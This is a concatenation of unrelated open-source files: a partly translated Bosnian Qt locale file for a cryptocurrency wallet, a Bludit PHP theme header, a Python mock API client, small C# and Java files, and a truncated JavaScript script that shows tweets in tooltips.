type="unfinished"/> </message> <message> <location line="-81"/> <location line="+8"/> <location line="+73"/> <location line="+8"/> <source>Please check the address and try again.</source> <translation type="unfinished"/> </message> <message> <location line="-81"/> <location line="+81"/> <source>The entered address does not refer to a key.</source> <translation type="unfinished"/> </message> <message> <location line="-73"/> <source>Wallet unlock was cancelled.</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Private key for the entered address is not available.</source> <translation type="unfinished"/> </message> <message> <location line="+12"/> <source>Message signing failed.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Message signed.</source> <translation type="unfinished"/> </message> <message> <location line="+59"/> <source>The signature could not be decoded.</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <location line="+13"/> <source>Please check the signature and try again.</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>The signature did not match the message digest.</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Message verification failed.</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Message verified.</source> <translation type="unfinished"/> </message> </context> <context> <name>TransactionDesc</name> <message> <location filename="../transactiondesc.cpp" line="+19"/> <source>Open until %1</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="-2"/> <source>Open for %n block(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+8"/> <source>conflicted</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1/offline</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1/unconfirmed</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>%1 confirmations</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>Status</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="+7"/> <source>, broadcast through %n node(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+4"/> <source>Date</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Source</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Generated</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <location line="+17"/> <source>From</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <location line="+22"/> <location line="+58"/> <source>To</source> <translation type="unfinished"/> </message> <message> <location line="-77"/> <location line="+2"/> <source>own address</source> <translation type="unfinished"/> </message> <message> <location line="-2"/> <source>label</source> <translation type="unfinished"/> </message> <message> <location line="+37"/> <location line="+12"/> <location line="+45"/> <location line="+17"/> <location line="+30"/> <source>Credit</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="-102"/> <source>matures in %n more block(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+2"/> <source>not accepted</source> <translation type="unfinished"/> </message> <message> <location line="+44"/> <location line="+8"/> <location line="+15"/> <location line="+30"/> <source>Debit</source> <translation type="unfinished"/> </message> <message> <location line="-39"/> <source>Transaction fee</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>Net amount</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Message</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Comment</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Transaction ID</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Generated coins must mature 510 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to &quot;not accepted&quot; and it won&apos;t be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Debug information</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Transaction</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Inputs</source> <translation type="unfinished"/> </message> <message> <location line="+23"/> <source>Amount</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>true</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>false</source> <translation type="unfinished"/> </message> <message> <location line="-211"/> <source>, has not been successfully broadcast yet</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>unknown</source> <translation type="unfinished"/> </message> </context> <context> <name>TransactionDescDialog</name> <message> <location filename="../forms/transactiondescdialog.ui" line="+14"/> <source>Transaction details</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>This pane shows a detailed description of the transaction</source> <translation type="unfinished"/> </message> </context> <context> <name>TransactionTableModel</name> <message> <location filename="../transactiontablemodel.cpp" line="+226"/> <source>Date</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Type</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Address</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Amount</source> <translation type="unfinished"/> </message> <message> <location line="+60"/> <source>Open until %1</source> <translation type="unfinished"/> </message> <message> <location line="+12"/> <source>Confirmed (%1 confirmations)</source> <translation type="unfinished"/> </message> <message numerus="yes"> <location line="-15"/> <source>Open for %n more block(s)</source> <translation type="unfinished"><numerusform></numerusform><numerusform></numerusform><numerusform></numerusform></translation> </message> <message> <location line="+6"/> <source>Offline</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Unconfirmed</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Confirming (%1 of %2 recommended confirmations)</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Conflicted</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Immature (%1 confirmations, will be available after %2)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>This block was not received by any other nodes and will probably not be accepted!</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Generated but not accepted</source> <translation type="unfinished"/> </message> <message> <location line="+42"/> <source>Received with</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Received from</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Sent to</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Payment to yourself</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Mined</source> <translation type="unfinished"/> </message> <message> <location line="+38"/> <source>(n/a)</source> <translation type="unfinished"/> </message> <message> <location line="+190"/> <source>Transaction status. Hover over this field to show number of confirmations.</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Date and time that the transaction was received.</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Type of transaction.</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Destination address of transaction.</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Amount removed from or added to balance.</source> <translation type="unfinished"/> </message> </context> <context> <name>TransactionView</name> <message> <location filename="../transactionview.cpp" line="+55"/> <location line="+16"/> <source>All</source> <translation>Sve</translation> </message> <message> <location line="-15"/> <source>Today</source> <translation>Danas</translation> </message> <message> <location line="+1"/> <source>This week</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>This month</source> <translation>Ovaj mjesec</translation> </message> <message> <location line="+1"/> <source>Last month</source> <translation>Prošli mjesec</translation> </message> <message> <location line="+1"/> <source>This year</source> <translation>Ove godine</translation> </message> <message> <location line="+1"/> <source>Range...</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>Received with</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Sent to</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>To yourself</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Mined</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Other</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Enter address or label to search</source> <translation type="unfinished"/> </message> <message> <location line="+7"/> <source>Min amount</source> <translation type="unfinished"/> </message> <message> <location line="+34"/> <source>Copy address</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy label</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Copy transaction ID</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Edit label</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Show transaction details</source> <translation type="unfinished"/> </message> <message> <location line="+144"/> <source>Export Transaction Data</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Confirmed</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Date</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Type</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Label</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Address</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Amount</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>ID</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Error exporting</source> <translation type="unfinished"/> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation type="unfinished"/> </message> <message> <location line="+100"/> <source>Range:</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>to</source> <translation type="unfinished"/> </message> </context> <context> <name>WalletModel</name> <message> <location filename="../walletmodel.cpp" line="+206"/> <source>Sending...</source> <translation type="unfinished"/> </message> </context> <context> <name>bitcoin-core</name> <message> <location filename="../bitcoinstrings.cpp" line="+33"/> <source>SpamSlayer version</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Usage:</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Send command to -server or SpamSlayerd</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>List commands</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Get help for a command</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Options:</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Specify configuration file (default: SpamSlayer.conf)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Specify pid file (default: SpamSlayerd.pid)</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Specify wallet file (within data directory)</source> <translation type="unfinished"/> </message> <message> <location line="-1"/> <source>Specify data directory</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Set database cache size in megabytes (default: 25)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Set database disk log size in megabytes (default: 100)</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>Listen for connections on &lt;port&gt; (default: 15714 or testnet: 25714)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Maintain at most &lt;n&gt; connections to peers (default: 125)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Connect to a node to retrieve peer addresses, and disconnect</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Specify your own public address</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Bind to given address. Use [host]:port notation for IPv6</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Stake your coins to support network and gain reward (default: 1)</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Threshold for disconnecting misbehaving peers (default: 100)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source> <translation type="unfinished"/> </message> <message> <location line="-44"/> <source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source> <translation type="unfinished"/> </message> <message> <location line="+51"/> <source>Detach block and address databases. Increases shutdown time (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+109"/> <source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation type="unfinished"/> </message> <message> <location line="-5"/> <source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds </source> <translation type="unfinished"/> </message> <message> <location line="-87"/> <source>Listen for JSON-RPC connections on &lt;port&gt; (default: 15715 or testnet: 25715)</source> <translation type="unfinished"/> </message> <message> <location line="-11"/> <source>Accept command line and JSON-RPC commands</source> <translation type="unfinished"/> </message> <message> <location line="+101"/> <source>Error: Transaction creation failed </source> <translation type="unfinished"/> </message> <message> <location line="-5"/> <source>Error: Wallet locked, unable to create transaction </source> <translation type="unfinished"/> </message> <message> <location line="-8"/> <source>Importing blockchain data file.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Importing bootstrap blockchain data file.</source> <translation type="unfinished"/> </message> <message> <location line="-88"/> <source>Run in the background as a daemon and accept commands</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Use the test network</source> <translation type="unfinished"/> </message> <message> <location line="-24"/> <source>Accept connections from outside (default: 1 if no -proxy or -connect)</source> <translation type="unfinished"/> </message> <message> <location line="-38"/> <source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source> <translation type="unfinished"/> </message> <message> <location line="+117"/> <source>Error initializing database environment %s! To recover, BACKUP THAT DIRECTORY, then remove everything from it except for wallet.dat.</source> <translation type="unfinished"/> </message> <message> <location line="-20"/> <source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source> <translation type="unfinished"/> </message> <message> <location line="+61"/> <source>Warning: Please check that your computer&apos;s date and time are correct! If your clock is wrong SpamSlayer will not work properly.</source> <translation type="unfinished"/> </message> <message> <location line="-31"/> <source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source> <translation type="unfinished"/> </message> <message> <location line="-18"/> <source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source> <translation type="unfinished"/> </message> <message> <location line="-30"/> <source>Attempt to recover private keys from a corrupt wallet.dat</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Block creation options:</source> <translation type="unfinished"/> </message> <message> <location line="-62"/> <source>Connect only to the specified node(s)</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Discover own IP address (default: 1 when listening and no -externalip)</source> <translation type="unfinished"/> </message> <message> <location line="+94"/> <source>Failed to listen on any port. Use -listen=0 if you want this.</source> <translation type="unfinished"/> </message> <message> <location line="-90"/> <source>Find peers using DNS lookup (default: 1)</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Sync checkpoints policy (default: strict)</source> <translation type="unfinished"/> </message> <message> <location line="+83"/> <source>Invalid -tor address: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Invalid amount for -reservebalance=&lt;amount&gt;</source> <translation type="unfinished"/> </message> <message> <location line="-82"/> <source>Maximum per-connection receive buffer, &lt;n&gt;*1000 bytes (default: 5000)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Maximum per-connection send buffer, &lt;n&gt;*1000 bytes (default: 1000)</source> <translation type="unfinished"/> </message> <message> <location line="-16"/> <source>Only connect to nodes in network &lt;net&gt; (IPv4, IPv6 or Tor)</source> <translation type="unfinished"/> </message> <message> <location line="+28"/> <source>Output extra debugging information. Implies all other -debug* options</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Output extra network debugging information</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Prepend debug output with timestamp</source> <translation type="unfinished"/> </message> <message> <location line="+35"/> <source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source> <translation type="unfinished"/> </message> <message> <location line="-74"/> <source>Select the version of socks proxy to use (4-5, default: 5)</source> <translation type="unfinished"/> </message> <message> <location line="+41"/> <source>Send trace/debug info to console instead of debug.log file</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Send trace/debug info to debugger</source> <translation type="unfinished"/> </message> <message> <location line="+28"/> <source>Set maximum block size in bytes (default: 250000)</source> <translation type="unfinished"/> </message> <message> <location line="-1"/> <source>Set minimum block size in bytes (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="-29"/> <source>Shrink debug.log file on client startup (default: 1 when no -debug)</source> <translation type="unfinished"/> </message> <message> <location line="-42"/> <source>Specify connection timeout in milliseconds (default: 5000)</source> <translation type="unfinished"/> </message> <message> <location line="+109"/> <source>Unable to sign checkpoint, wrong checkpointkey? </source> <translation type="unfinished"/> </message> <message> <location line="-80"/> <source>Use UPnP to map the listening port (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="-1"/> <source>Use UPnP to map the listening port (default: 1 when listening)</source> <translation type="unfinished"/> </message> <message> <location line="-25"/> <source>Use proxy to reach tor hidden services (default: same as -proxy)</source> <translation type="unfinished"/> </message> <message> <location line="+42"/> <source>Username for JSON-RPC connections</source> <translation type="unfinished"/> </message> <message> <location line="+47"/> <source>Verifying database integrity...</source> <translation type="unfinished"/> </message> <message> <location line="+57"/> <source>WARNING: syncronized checkpoint violation detected, but skipped!</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Warning: Disk space is low!</source> <translation type="unfinished"/> </message> <message> <location line="-2"/> <source>Warning: This version is obsolete, upgrade required!</source> <translation type="unfinished"/> </message> <message> <location line="-48"/> <source>wallet.dat corrupt, salvage failed</source> <translation type="unfinished"/> </message> <message> <location line="-54"/> <source>Password for JSON-RPC connections</source> <translation type="unfinished"/> </message> <message> <location line="-84"/> <source>%s, you must set a rpcpassword in the configuration file: %s It is recommended you use the following random password: rpcuser=SpamSlayerrpc rpcpassword=%s (you do not need to remember this password) The username and password MUST NOT be the same. If the file does not exist, create it with owner-readable-only file permissions. It is also recommended to set alertnotify so you are notified of problems; for example: alertnotify=echo %%s | mail -s &quot;SpamSlayer Alert&quot; admin@foo.com </source> <translation type="unfinished"/> </message> <message> <location line="+51"/> <source>Find peers using internet relay chat (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source> <translation type="unfinished"/> </message> <message> <location line="+15"/> <source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source> <translation type="unfinished"/> </message> <message> <location line="+16"/> <source>Allow JSON-RPC connections from specified IP address</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Send commands to node running on &lt;ip&gt; (default: 127.0.0.1)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Require a confirmations for change (default: 0)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Enforce transaction scripts to use canonical PUSH operators (default: 1)</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Upgrade wallet to latest format</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Set key pool size to &lt;n&gt; (default: 100)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Rescan the block chain for missing wallet transactions</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>How many blocks to check at startup (default: 2500, 0 = all)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>How thorough the block verification is (0-6, default: 1)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Imports blocks from external blk000?.dat file</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Use OpenSSL (https) for JSON-RPC connections</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Server certificate file (default: server.cert)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Server private key (default: server.pem)</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</source> <translation type="unfinished"/> </message> <message> <location line="+53"/> <source>Error: Wallet unlocked for staking only, unable to create transaction.</source> <translation type="unfinished"/> </message> <message> <location line="+18"/> <source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source> <translation type="unfinished"/> </message> <message> <location line="-158"/> <source>This help message</source> <translation type="unfinished"/> </message> <message> <location line="+95"/> <source>Wallet %s resides outside data directory %s.</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Cannot obtain a lock on data directory %s. SpamSlayer is probably already running.</source> <translation type="unfinished"/> </message> <message> <location line="-98"/> <source>SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+140"/> <source>Unable to bind to %s on this computer (bind returned error %d, %s)</source> <translation type="unfinished"/> </message> <message> <location line="-130"/> <source>Connect through socks proxy</source> <translation type="unfinished"/> </message> <message> <location line="+3"/> <source>Allow DNS lookups for -addnode, -seednode and -connect</source> <translation type="unfinished"/> </message> <message> <location line="+122"/> <source>Loading addresses...</source> <translation type="unfinished"/> </message> <message> <location line="-15"/> <source>Error loading blkindex.dat</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Error loading wallet.dat: Wallet corrupted</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Error loading wallet.dat: Wallet requires newer version of SpamSlayer</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Wallet needed to be rewritten: restart SpamSlayer to complete</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Error loading wallet.dat</source> <translation type="unfinished"/> </message> <message> <location line="-16"/> <source>Invalid -proxy address: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="-1"/> <source>Unknown network specified in -onlynet: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="-1"/> <source>Unknown -socks proxy version requested: %i</source> <translation type="unfinished"/> </message> <message> <location line="+4"/> <source>Cannot resolve -bind address: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="+2"/> <source>Cannot resolve -externalip address: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="-24"/> <source>Invalid amount for -paytxfee=&lt;amount&gt;: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="+44"/> <source>Error: could not start node</source> <translation type="unfinished"/> </message> <message> <location line="+11"/> <source>Sending...</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Invalid amount</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Insufficient funds</source> <translation type="unfinished"/> </message> <message> <location line="-34"/> <source>Loading block index...</source> <translation type="unfinished"/> </message> <message> <location line="-103"/> <source>Add a node to connect to and attempt to keep the connection open</source> <translation type="unfinished"/> </message> <message> <location line="+122"/> <source>Unable to bind to %s on this computer. SpamSlayer is probably already running.</source> <translation type="unfinished"/> </message> <message> <location line="-97"/> <source>Fee per KB to add to transactions you send</source> <translation type="unfinished"/> </message> <message> <location line="+55"/> <source>Invalid amount for -mininput=&lt;amount&gt;: &apos;%s&apos;</source> <translation type="unfinished"/> </message> <message> <location line="+25"/> <source>Loading wallet...</source> <translation type="unfinished"/> </message> <message> <location line="+8"/> <source>Cannot downgrade wallet</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Cannot initialize keypool</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Cannot write default address</source> <translation type="unfinished"/> </message> <message> <location line="+1"/> <source>Rescanning...</source> <translation type="unfinished"/> </message> <message> <location line="+5"/> <source>Done loading</source> <translation type="unfinished"/> </message> <message> <location line="-167"/> <source>To use the %s option</source> <translation type="unfinished"/> </message> <message> <location line="+14"/> <source>Error</source> <translation type="unfinished"/> </message> <message> <location line="+6"/> <source>You must set rpcpassword=&lt;password&gt; in the configuration file: %s If the file does not exist, create it with owner-readable-only file permissions.</source> <translation type="unfinished"/> </message> </context> </TS>
SpamSlayer/live
src/qt/locale/bitcoin_bs.ts
TypeScript
mit
108,067
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="generator" content="Bludit"> <!-- Generate <title>...</title> --> <?php echo HTML::metaTagTitle(); ?> <!-- Generate <meta name="description" content="..."> --> <?php echo HTML::metaTagDescription(); ?> <!-- Generate <link rel="icon" href="..."> --> <?php echo HTML::favicon('img/favicon.png'); ?> <!-- Include CSS Bootstrap file from Bludit Core --> <?php echo HTML::cssBootstrap(); ?> <!-- Include CSS Bootstrap ICONS file from Bludit Core --> <?php echo HTML::cssBootstrapIcons(); ?> <!-- Include CSS Styles from this theme --> <?php echo HTML::css('css/style.css'); ?> <?php echo HTML::css('css/plugins.css'); ?> <!-- Enable or disable Google Fonts from theme's settings --> <?php if ($theme->googleFonts()): ?> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:sans,bold"> <style> body { font-family: "Open Sans", sans-serif; } </style> <?php endif; ?> <!-- Execute Bludit plugins for the hook "Site head" --> <?php execPluginsByHook('siteHead'); ?>
bludit/bludit
bl-themes/blogx/php/head.php
PHP
mit
1,114
import math from service.fake_api_results import ALL_TITLES, OFFICIAL_COPY_RESULT, SELECTED_FULL_RESULTS SEARCH_RESULTS_PER_PAGE = 20 def get_title(title_number): return SELECTED_FULL_RESULTS.get(title_number) def _get_titles(page_number): nof_results = len(ALL_TITLES) number_pages = math.ceil(nof_results / SEARCH_RESULTS_PER_PAGE) start_index = page_number * SEARCH_RESULTS_PER_PAGE end_index = start_index + SEARCH_RESULTS_PER_PAGE return { 'number_pages': number_pages, 'number_results': nof_results, 'page_number': page_number, 'titles': ALL_TITLES[start_index:end_index], } def get_titles_by_postcode(postcode, page_number): return _get_titles(page_number) def get_titles_by_address(address, page_number): return _get_titles(page_number) def get_official_copy_data(title_number): return OFFICIAL_COPY_RESULT
LandRegistry/drv-flask-based-prototype
service/api_client.py
Python
mit
898
using System; namespace Firestorm.Stems.Analysis { /// <summary> /// Exception that is thrown when <see cref="StemAttribute"/>s have been setup incorrectly. /// </summary> public class StemAttributeSetupException : Exception // TODO StemException from Fuel? { public StemAttributeSetupException(string message) : base(message) { } public StemAttributeSetupException(string message, Exception innerException) : base(message, innerException) { } } }
connellw/Firestorm
src/Firestorm.Stems.Core/Analysis/StemAttributeSetupException.cs
C#
mit
529
package jp.ac.nii.prl.mape.controller.service; import jp.ac.nii.prl.mape.controller.model.MAPEKComponent; public interface KnowledgeBaseService { void put(MAPEKComponent kb, String bx, String view, String param); String get(MAPEKComponent kb, String bx, String param); }
prl-tokyo/MAPE-controller
src/main/java/jp/ac/nii/prl/mape/controller/service/KnowledgeBaseService.java
Java
mit
277
var boletesPinya = $.merge($.merge($.merge($("#cDB").find("path"), $("#cB4").find("path")), $("#cB3").find("path")), $("#cB2").find("path")); var boletesTronc = $.merge($.merge($("#cB4").find("path"), $("#cB3").find("path")), $("#cB2").find("path")); var usedTweets = {}; $(document).ready(function () { $.each(boletesPinya, function (i, e) { $(e).tooltipster({ delay: 100, maxWidth: 500, speed: 300, interactive: true, content: '', contentAsHTML: true, animation: 'grow', trigger: 'custom', contentCloning: false }); }); }); function initTweets() { var path = EMOCIO.properties[lastEmotionPlayed].name + ".php"; $.ajax({ type: 'GET', url: path, success: function (data) { var tweets = null; var text, user, hashtag, ttContent, img; tweets = JSON.parse(data); $(boletesPinya).shuffle().each(function (i, e) { var cTweet = tweets.statuses[i]; if (typeof cTweet === 'undefined') return false; var content = buildContent(cTweet); if (content !== false) { $(e).tooltipster('content', content); themesAndEvents(e); } }); }, error: function (res) { alert("Error finding tweets"); } }); } function actualitzarTweets() { var path = EMOCIO.properties[lastEmotionPlayed].name + ".php"; resetTooltips(); $.ajax({ type: 'GET', url: path, success: function (data) { var tweets = null; var text, img, user, hashtag, ttContent, url; tweets = JSON.parse(data); var boletes = boletesPinya; if (fase >= FASE.Tercos) boletes = boletesTronc; $(boletes).shuffle().each(function (i, e) { var currentTweet = tweets.statuses[i]; if (typeof currentTweet === 'undefined') return false; var content = buildContent(currentTweet); if (content !== false) { $(e).tooltipster('content', content); themesAndEvents(e); } }); }, error: function (res) { alert("Error finding tweets"); } }); } function buildContent(info) { var tweet = info; if (DictContainsValue(usedTweets, tweet.id_str) || typeof tweet === 'undefined') { usedTweets[tweet.id_str] = usedTweets[tweet.id_str] + 1; return false; } usedTweets[tweet.id_str] = 1; var text = tweet.full_text; var user = "@" + tweet.user.screen_name + ": "; var img = ''; var url = 'href="https://twitter.com/statuses/' + tweet.id_str + '" target="_blank"'; if ((typeof tweet.entities.media !== "undefined") && (tweet.entities.media !== null)) { var media = tweet.entities.media; img = '<div class="row">' + '<div class="col">' + '<img style="max-width: 75%; height: auto;" class="rounded mx-auto d-block" src=\'' + media[0].media_url_https + '\'/>' + '</div></div>'; text = text.replace(' ' + tweet.entities.media[0].url, ''); } return $('<a '+ url +'>' + img + '<div class="row"><div class="col text-left"><p style="margin-bottom: 0 !important;"><b>' + user + '</b>' + text + '</p></div></div></a>'); } function themesAndEvents(e) { var theme = 'tooltipster-' + EMOCIO.properties[lastEmotionPlayed].name.toString(); $(e).tooltipster('option', 'theme', theme); $(e).tooltipster('option', 'trigger', 'click'); $(e).mouseenter(function () { if (lastEmotionPlayed !== null) { $(this).css("fill", EMOCIO.properties[lastEmotionPlayed].color).css("cursor", "pointer"); $(this).addClass("pathHover"); } }).mouseleave(function () { if (lastEmotionPlayed !== null) { var gradient = "url(#gradient" + EMOCIO.properties[lastEmotionPlayed].name.toString().charAt(0).toUpperCase() + EMOCIO.properties[lastEmotionPlayed].name.substr(1) + ")"; $(this).css("fill", gradient).css("cursor", "default"); $(this).removeClass("pathHover"); } }); } function resetTooltips() { usedTweets = {}; $.each(boletesPinya, function (i, e) { $(e).tooltipster('destroy'); $(e).off(); $(e).unbind("mouseenter"); 